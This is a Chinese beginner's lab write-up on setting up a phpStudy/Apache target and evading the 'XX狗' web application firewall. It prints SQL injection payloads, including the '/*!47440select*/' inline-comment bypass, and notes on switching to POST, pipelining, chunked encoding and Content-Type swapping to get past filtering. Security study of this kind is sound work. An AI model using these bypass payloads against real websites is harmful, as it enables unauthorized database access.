萌新学习之路上必绕的XX狗
搭建过程比较简单,但存在一些小问题
具体说一下我所遇到的
在安装过程中会自动弹出一个配置菜单,需要输入网站信息。一般来讲这些信息会自动获取,但是我所使用的phpstudy2018版即使安装apache但在服务
中也无法找到正确服务名。
解决方法:
需要将phpstudy配置成为系统服务
安装并开启apache服务
如果在服务
还是没有找到apache的服务话,就需要进入apache的bin目录下安装服务
phpStudy\PHPTutorial\Apache\bin
执行系统命令
httpd.exe -k install -n apache2.4
再次安装即可成功
若需要删除多余的服务执行命令
sc delete apache2.4
先确认XX狗保护生效,利用payload成功触发WAF
payload:
?id=0' union select 1,2,3--+
使用内联注释尝试绕过,发现依然会触发防护
绕过XX狗有一个重要数字47440,当大于等于47440的数字与内联注释一同使用时就可以达到绕过XX狗的效果,在网站XX狗4.0依然有效
payload:
?id=0' union /*!47440select*/ 1,2,3--+
使用GET方法会触发WAF
?a=0+union+select+1;
?a=0%20union%20/*!37440select*/database()--+
在BP中更换请求方法为POST,就不会触发WAF
XX狗在POST包中会禁止select database()–+
单纯使用pipeline在POST中携带GET脏数据请求,被WAF拦截
pipeline在POST中携带POST脏数据请求,可以绕过,但应该是POST数据的原因
也就说使用pipeline的方法无法绕过
分块传输需要在http头中添加Transfer-Encoding: chunked
以下四种常见的content-type类型,我们可以尝试互相替换尝试绕过WAF过滤机制。
注:如图常见的绕过方式为使用multipart/form-data标签,并把name设为参数名内容写入注入语句。
Content-Type: text/html; charset=UTF-8
Content-Type: application/json; charset=utf-8
Content-Type: application/x-www- form-urlencoded;charset=utf-8
Content-Type: multipart/form-data; boundary=something
在BP的Extension中添加下载并编译好的模块jar